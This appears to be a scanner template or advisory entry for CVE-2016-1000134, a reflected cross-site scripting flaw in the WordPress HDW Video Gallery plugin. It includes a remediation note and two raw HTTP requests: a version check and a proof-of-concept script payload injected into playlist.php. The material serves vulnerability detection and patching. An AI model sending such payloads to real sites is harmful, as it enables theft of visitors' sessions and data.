| Title | WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions. |
| Remediation | Update to the latest version of the WordPress HDW Video Gallery plugin (>=1.3) which includes a fix for this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02155 |
| CVE ID | CVE-2016-1000134 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress xss wp-plugin hdw-tube_project vuln |
WordPress HDW Video Gallery 1.2 and before contains a cross-site scripting vulnerability via playlist.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/hdw-tube/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.6
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/hdw-tube/playlist.php?playlist=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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